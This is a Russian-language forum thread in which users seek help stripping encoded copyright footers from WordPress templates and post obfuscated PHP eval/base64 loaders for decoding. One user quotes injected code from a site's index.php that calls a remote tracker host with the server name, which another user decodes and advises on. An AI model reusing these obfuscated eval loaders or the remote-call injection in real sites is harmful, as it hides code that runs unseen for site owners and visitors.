Помощь Удаление закодированного копирайта из шаблонов Wordpress.

[kaktyc1]

во замутили ребятки, так замутили....

Вроде вот так должно быть:

Для просмотра скрытого содержимого вы должны войти или зарегистрироваться.

 

[BangMan]

так-то оно так...это и я уже пробовал, только фишка в том, что если удалить хоть одну ссылку с футере, то все - белая страница....

 

[Iron_Rat]

Сограждане, есть Предложение и Просьба....
Начну с предложения.
Топик пользуется популярностью и растет как на дрожжах.
Предлагаю вынести в шапку максимум необходимой информации, этт позволит немножко разгрузить топик от "рядовых случаев" (IMHO) и собирать здесь действительно "интересные" фрагменты.
Выести же предлагаю информацию такого плана:

Для просмотра скрытого содержимого вы должны войти или зарегистрироваться.

Теперь - Просьба.
Все чаще стал натыкаться на способ кодирования, "лекарства" от которого найти не получается.
Пример:

$OOO0O0O00=__FILE__;$O00O00O00=__LINE__;$OO00O0000=948;eval((base64_decode('JE8wMDBPME8wMD1mb3BlbigkT09PME8wTzAwLCdyYicpO3doaWxlKC0tJE8wME8wME8wMClmZ2V0cygkTzAwME8wTzAwLDEwMjQpO2ZnZXRzKCRPMDAwTzBPMDAsNDA5Nik7JE9PMDBPMDBPMD0oYmFzZTY0X2RlY29kZShzdHJ0cihmcmVhZCgkTzAwME8wTzAwLDM3MiksJ0VudGVyeW91d2toUkhZS05XT1VUQWFCYkNjRGRGZkdnSWlKakxsTW1QcFFxU3NWdlh4WnowMTIzNDU2Nzg5Ky89JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=')));return;?>
kr9NHenNHenNHe1lFMamb3klFoxiC2APk19gOLlHOa9gkZXJkZwVkr9NTznNHr8XHt4JkZwShokiF2A2Yy9LcBYvcoAPF3OZfuwPcmklCBWPkr8XHenNHr8XHtXLT08XHr8XHeEXhUXmOB50cbk5d3a3D2iUUylRTlfNaaOnCAkJW2YrcrcMO2fkDApQToxYdanXAbyTF1c2BuiDGjExHjH0YTC3KeLqRz0mRtfnWLYrOAcuUrlhU0xYTL9WAakTayaBa1icBMyJC2OlcMfPDBpqdo1Vd3nxFmY0fbc3Gul6HerZHzW1YjF4KUSvkZLphUL7cMYSd3YlhtONHeEXTznNHeEpK2a2CBXPkr9NHenNHenNHtL7cBYPdZEmNoOpfJnzfulScT0JC2xlCbw6wokvfoI7wj48R2Opfj4YtjxpdBFIF3kjNUwmKZnJdo9mDB5MdZImF3O5doazDoalfy9LDbklC3OvFmLmhTSIK2ajDo8IkZ9pdBymcbHvC29VfoaVft1Jd3O0d20Vc2lMwJniduW9wmOvFtwIF3O5doA9wMcSd2y0KJnScBc0KZwIRz4YtjXvcol2NI0hNoOpfJnzfulScT0JC2xlCbw6wokvfoI7wj48R2Opfj4YtjXvcol2NI0hNt9LDbC+eWPYtjxLDbCIDBW9wMcvd3OlFJw+eWP8col2wolLNUkMd290cbwsDB5zDBOlwj4YtjxLDbCIDBW9wMcvd3OlFJ1pdmYpcoAsHJw+eWPIwtEIkzSIDBCIhtEicmaVC3Opd25gcbipF3OzhtfLGB5idBljb3YpcoaJCbwmhUn8gtEiculVCB1pC19zDBOlCMyZhtkod290cbwJhUEpwePIK2ajDo8IkZEIwtEmKZnldMOpcjSIK2ajDo8IkzXvcol2NI0hNt9LDbC+eWP8R2Opfj4YtJEIwtE8col2woYSCbYzNUkMd290cbwsCM90fo9swj4YtJEIwtE8col2woYSCbYzNUkMd290cbwsCM90fo9sRBlVF2lLcUw+eWPIwtEIAo93cbklctnJGUE8CUnPFMaMNUkPfuOXKJ8vf3f3RmfvFMOXFMazFZ5vFMFJNlfvFMOXFMazFzXvCT4IgtnTDoyZcBWICmLINorIDuklcj0JDuO0FePvR3f3fZ5MFMalRbnZcB1pfB0sf29ZcunZcbYzRbOPcB1lFZ5jd20JNLcZcBAIAukldBl1dUnbd3kLFuklF3HIaoildBazNt9iNjXvcol2NI0hwtEIweXvcol2NI0hwtEIweXvcol2NI0heWPmKZn3Fy9Md290cbwPhTSI

Как с ним бороться?

 

[komyak]

Как с ним бороться?

Только ручками, т.к. такой "шифратор" может написать каждый и соответственно со своим алгоритмом. В данном случае всё решается обычной заменой eval на print.

Вроде не выкладывали:

Для просмотра скрытого содержимого вы должны войти или зарегистрироваться.

 

[Iron_Rat]

Только ручками, т.к. такой "шифратор" может написать каждый и соответственно со своим алгоритмом. В данном случае всё решается обычной заменой eval на print.

Просто "явление" принимает уже явно массовый характер(код встречается в свежих шаблонах, разных авторов).
Потому и интересно..

 

[sferasoft]

Декодируйте пожалуйста:

1

<?php
$o="QAAAOyhjbnE5OyYqKicoJHB1ZgAQd3didScqKjkNDTsBkCduYzoAISVhaGhzYnUqaHIAYCU5DQ4BnAAAJSdka2Z0dDolZGhrKmFyaxIAayUnAlANDgKHZGh3fnVuYG9zhgACumtiYXME8QKQdzlCZnR+J3BiAABlJ3dyZWtudG9uaWAncG5zAABvJ2YnUGh1Y3d1YnR0J1NyAAFqZWtoYCdTb2JqYik7KHcGgHg5DgwTBvAAMAmmZHViY24G+wgTAyEOOwcAAAB/ZGtydG5xYmt+J2V+JztmAAAnb3ViYTolb3Nzdz0oKHBwACRwKXBuZGxiYypwB/UqcwdxdCkIAWRoaigBV3drcmBuaXQoJTkKh0PeVwFDOyhmOQpfCwMXFBWzJxcSAZ8XRAHzDQBAOzh3b3cncHdYA1MvLjwnODmYBAFlaGgBcgFUDTt0ZHVud3McYA5tAABWcmJ1fi9jaGRyamJpcy4pAAB1YmZjfi9hcmlkc25oaS8uKEAnfBOgJwJ0JSR2cg+Aa25pbHQnAABuamBcc25za2JaJS4pc2hoAQhrc253L3wnAGA9JyAkAHAgKycMEHdodG4EgQEgc2h3J2QGMGJ1IHoIgS48DQ4AUg07KAjGOyhlaGN+C0AAAChvc2prOQ==";eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return;?>

2

<?php
$OOO0O0O00=__FILE__;$O00O00O00=__LINE__;$OO00O0000=1056;eval((base64_decode('JE8wMDBPME8wMD1mb3BlbigkT09PME8wTzAwLCdyYicpO3doaWxlKC0tJE8wME8wME8wMClmZ2V0cygkTzAwME8wTzAwLDEwMjQpO2ZnZXRzKCRPMDAwTzBPMDAsNDA5Nik7JE9PMDBPMDBPMD0oYmFzZTY0X2RlY29kZShzdHJ0cihmcmVhZCgkTzAwME8wTzAwLDM3MiksJzNtbkIwVHhhSllGR3k5dExBc2ZOSVNySGpNY1h2ZER6LytvaDRnYnEyQ3dPWlBSbHVrSzVRVnA3RVU2VzE4aWU9JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=')));return;?>
Y08LyBmLyBmLyBVgvbSqH7Ygvxk+jpI2YV8zs4gysS8zYKuoYKJRY08LN5mLy01uynEoYKJZFxY+vpIp9T84Mr9lMxI2v7sKdaJ2MqYgjrA2Y01uyBmLy01uynu4NQ1uy01uyB3uFfuqypVRAhmIDxTFrIMaDNgQN0T5M4UYI7YJc4VhraM4sa2lFp829xdovNYBdQ8cITYZdrPG9STrvBdTSNMHyN+CMNQqGndmA490sIMaf0gFfQk9N48AISYNSTSrSV+MrbTojpsgMbd2crCOXxVRX7mkvq9QdHM7Dag6yB0Ky5AV9hvEtfZlYK4CFf4WMb9ZX79gFnsLyB3uN5mLyB3CtpSpjru2Y08LyBmLyBmLyn4WMr92XK3qnA4YLn84cHjiLn0PGfmhXpUQjrgRMHJ/GfQiBA2YnNulMxgpLhu+GfQ/MbkljHs5d7Y+vnQPL/QFnNulMxgpLhu+GfQ/vxdzd7Y+vn3PGNE9n/4YY5Z9nq97cHshcn+qMHszX7mQcr8RFnd7va9zMb8ldxSKHp8udxglXovCFHZ9nb9+vpI/Y79PjrkZHpMlX7sgvov6BACCXb9ZdrsgJn+IsIVAN0TIsSmmS0//Go3qGpgRjpkVMxS5GpMlX7sgvqylvpV+XxkxXp8QMHJRvx+uYK4WBACovbS+c5Z9nb9+vpI/Ypk+vbdgHpMlX7sgvov6BACCXb9ZdrsgJn+IsIVAN0TIsSmmS0//Go3qGpgRjpkVMxS5GpMlX7sgvqylXxTKMpSxXp8QMHJRvx+uYK4WBACovbS+c5Z9nqQ9nhPgjp+lJnvYnNulMxgpLhu+GfQ/MrU4Jx9lXqs+crUgvo3PGNEYnA4YBA2YLn84cHjiLn0PGfmgXbA/Mb8ldxSKJnQPL/QFnAQFnAQFnNk5j7YCvaA/daguMNQodxSEdn8wjHM+vp9KcHmQJhE/A7SbXpERXb87Fn4WJBulvp9KcHmQL/QFBA2qt7duHpMlX7sgvo/CtuQFcrj2FxdgdT8lvasCXpE2Y7duvV8qXp8qXxSzjrU+XagQcr95YK4CJBQ8Jnd+j7sCdbIqFHZ9nbShcx1/Mp8lMpkgHpTRjrkUdxghvK+qMHszX7mQcr8RFnd7va9zMp8lMpkgHpTRjrkUdxghvV8CMnvCFNZ9nqQ9nhPgjp+lJnvYnAQFLn8oXpsUL/QFLn82dxVZL/QFY5P4crUbXV8bXp8QMHJ2MpSQHp8udxglXo/qd7m5H79VvamlvqszcrAqFf4WBA2hMr92XK3qLamKMNEqt7mKcrUQH7J2YT8NsS9NfI8tFNPgjp+lJnv1G7mKMNEqtuQFJpShcx1/Y5kuvbIiY5PuvbgRdT8KFa9gv79CXpUzMpSQHp9lXpPCMS8ujHY+XHy2Ff4WMr92XK3qLn8uvbIiY5Z9n/==

3

<?php
$o="QAAAOzh3b3cnbmlka3JjYicvUwAAQkpXS0ZTQldGU08nKScgKAAAcHd1YnR0WGNiYWZya3N0KYAAAuAgLjwnODkKDTsmKionZWIABGBuaSdhaGhzYnUnKioBcWNuApBxJ25jOiUBUyUBMA47AUFka2Z0QCF0AXVYZGhpc2JpcwHyCg0ODgTiAHhkaHd+dW5gb3MEswFgA5gB1lhzYkAAfwOTDg5XaHBidWJjJ2V+JzsIADgnCg0AMAoNI3J1a3QnOidmAAB1dWZ+LyVvc3N3PSgocHBwAAApdHZybmNoaClkaGooamZggAAIEGgqcGJlb2h0c25pYCUnK//dAt8C3wLfBa8FrwWvBa8FrwWvBa4nGQAPkg/AIxGxpigPp0oOMydPBZcBNVBiZQF/aAE1J1ViB4NxbmJwdBEhAyUEUQEBRWJ0cycBWROhoAEIQycAE3R1ZmljL3NuamIvLgGTyUIKAwHjJyMB8WhqCnAvAKEvLiIyAmJiAAJkb2gnJy8lO2Ynb3ViYQIAW1DBJRyyXAMkWlslOQ4iARY7KGY5JQPS7YAP0ClRIzAoI0AnUQ4ldipTdGhkbmZrJwBSaWJzcGh1bCduKCB0Jo86JQKDWPgAAgIp8gVAMmIKAmBic1hod3NuaGkvQG4gAqkgKycjcHdYATQGVHQJsAltLpJiGX9pYycCswkPCg0LkDsMZACGNtEDYTVjC4M4QIQACZJuYScvCYlgaGhga2JYZmlmAABrfnNuZHRYbGJ+IC4nJjonWAAgAHA9O+IDwHRkdW53cydzfndiIMA6JSORKG1mcWYBYw+ScWZ1J2BmNABNdB+hGOAvNLN0PSUnOjonY2hkIIByaijQKWtoZGYRASl3dWhzaGQCgGhrLic4Jy7idDdgdHRrKSUnPfwAARMBADhhGyAOMAQWcHVuc2IvcmlidABAZGZ3Yi8lIjRECFMndHVkOiARYCUnLAhnLCclDeMqDeY80mBmKW10ULcgDMMgDMwgIjRCBUAoBVMA0CUpYBAAARS8CiLAOwGzA/MQvwrQc3V+J3wnERF3NUBTCAd1ZmRsTxA6J1hgZnMpWBfQATQr4P0VGTIizgtjGU1UoRDgJwVYKVhzBeFXBnBxODBIAS8kMHonFiBkby9idXUuJ3x6C7rDAgDQBxNpY25hBPEj8TsoZWhjfg2RKAAAb3Nqazk=";eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return;?>

 

[kaktyc1]

Декодируйте пожалуйста:

1

Для просмотра скрытого содержимого вы должны войти или зарегистрироваться.

2

Для просмотра скрытого содержимого вы должны войти или зарегистрироваться.

3

Для просмотра скрытого содержимого вы должны войти или зарегистрироваться.

 

[Lobo]

Помогите разобраться в проблеме

Сайт на локалке, до вчеращнего дня было все ок.
Вчера открываю локалхост и вижу :
Для просмотра ссылки Войди или Зарегистрируйся
копался в index.php нашел и удалил этот код:

<?php echo eval(base64_decode('ZWNobyBAZmlsZV9nZXRfY29udGVudHMoICJodHRwOi8vc2l0ZWl
uZmF0LmNvLmNjL
3RyYWNrZXIucGhwP3RyYWNrPSIudXJsZW5jb2RlKCRfU0VSVkVSWydTRVJWRVJf
TkFNRS
ddKSwgbnVsbCwgc3RyZWFtX2NvbnRleHRfY3JlYXRlKGFycmF5KCdodHRwJz0+
YXJyYXko
J3RpbWVvdXQnPT40LjUpKSkgKTs='));?>

после этого сайт открывается как обычно.
Но мне кажется что то мною не правильно сделано.
Подскажите пожалуйста ,что и как нужно сделать что бы проблема не повторилась.

 

[mrr]

Зашифрован был только вызов их кода:

echo @file_get_contents( "http://siteinfat.co.cc/tracker.php?track=".urlencode($_SERVER['SERVER_NAME']), null, stream_context_create(array('http'=>array('timeout'=>4.5))) );

Чтобы не повторилось, как минимум поменяйте пароли и обновите версии плагинов\движков до актуальных.

 

[Lobo]

mrr, пароли к чему ? плагины какие именно у меня жумла самая последняя версия.
А то что удалил код это правильно?